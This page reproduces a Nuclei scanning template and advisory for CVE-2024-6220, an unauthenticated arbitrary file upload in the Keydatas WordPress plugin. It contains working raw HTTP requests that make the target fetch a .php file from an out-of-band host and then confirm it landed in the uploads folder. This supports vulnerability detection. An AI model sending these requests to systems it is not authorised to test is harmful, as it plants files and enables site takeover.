CVE-2024-6220: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload

2025-12-12 WordPress Keydatas PoC Public

Description

The Keydatas plugin for WordPress (known in Chinese as "简数采集器") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.

PoC

id: CVE-2024-6220

info:
  name: WordPress Keydatas ≤ 2.5.2 - Arbitrary File Upload
  author: hnd3884
  severity: critical
  description: |
    The Keydatas plugin for WordPress (known in Chinese as "简数采集器") is vulnerable to unrestricted file uploads due to missing file-type validation in the keydatas_downloadImages function in all versions up to and including 2.5.2. An unauthenticated attacker can upload arbitrary files to the server — potentially leading to remote code execution, site takeover, or other severe compromise.
  impact: |
    Unauthenticated attackers can upload arbitrary files including PHP web shells through the keydatas_downloadImages function, achieving remote code execution and complete site compromise.
  remediation: |
    Update Keydatas plugin to version 2.5.3 or later to address the arbitrary file upload vulnerability.
  reference:
    - https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/keydatas/keydatas-252-unauthenticated-arbitrary-file-upload
    - https://github.com/advisories/GHSA-29rm-j4cx-hmc5
    - https://nvd.nist.gov/vuln/detail/CVE-2024-6220
  classification:
    cve-id: CVE-2024-6220
    epss-score: 0.35463
    epss-percentile: 0.98368
    cwe-id: CWE-434
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cpe: cpe:2.3:a:keydatas:keydatas:*:*:*:*:*:wordpress:*:*
  metadata:
    verified: true
    max-request: 2
    vendor: keydatas
    product: wordpress
  tags: cve,cve2024,wp,wp-plugin,wordpress,keydatas,file-upload,rce,vkev,vuln

variables:
  filename: "{{rand_base(5)}}.php"
  oast_url: "{{interactsh-url}}"

flow: http(1) && http(2)

http:
  - raw:
      - |
        POST /?__kds_flag=post HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        kds_password=keydatas.com&post_title=1&__kds_docImgs=http://{{oast_url}}/{{filename}}&__kds_download_imgs_flag=true

    matchers:
      - type: dsl
        dsl:
          - "status_code == 200"
          - 'contains(body, "{\"rs\":1")'
        condition: and
        internal: true

    extractors:
      - type: regex
        part: http_1_request
        name: folder
        group: 1
        regex:
          - '__kds_docImgs=http://([^&]+?\.php)'
        internal: true

  - raw:
      - |
        GET /wp-content/uploads/{{folder}} HTTP/1.1
        Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "dns"

      - type: word
        part: body
        words:
          - "<html><head></head><body>"

      - type: status
        status:
          - 200
# digest: 4a0a0047304502205cbb74aea45b354d12471f71b0199c5a5db41368570ee7e22020c4e785d96daa022100e141abb38943a4d87248b29fa6acdbc1351866da2d199e688bb791017ba33a4f:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.
Source: https://github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2024/CVE-2024-6220.yaml

References

Related Vulnerabilities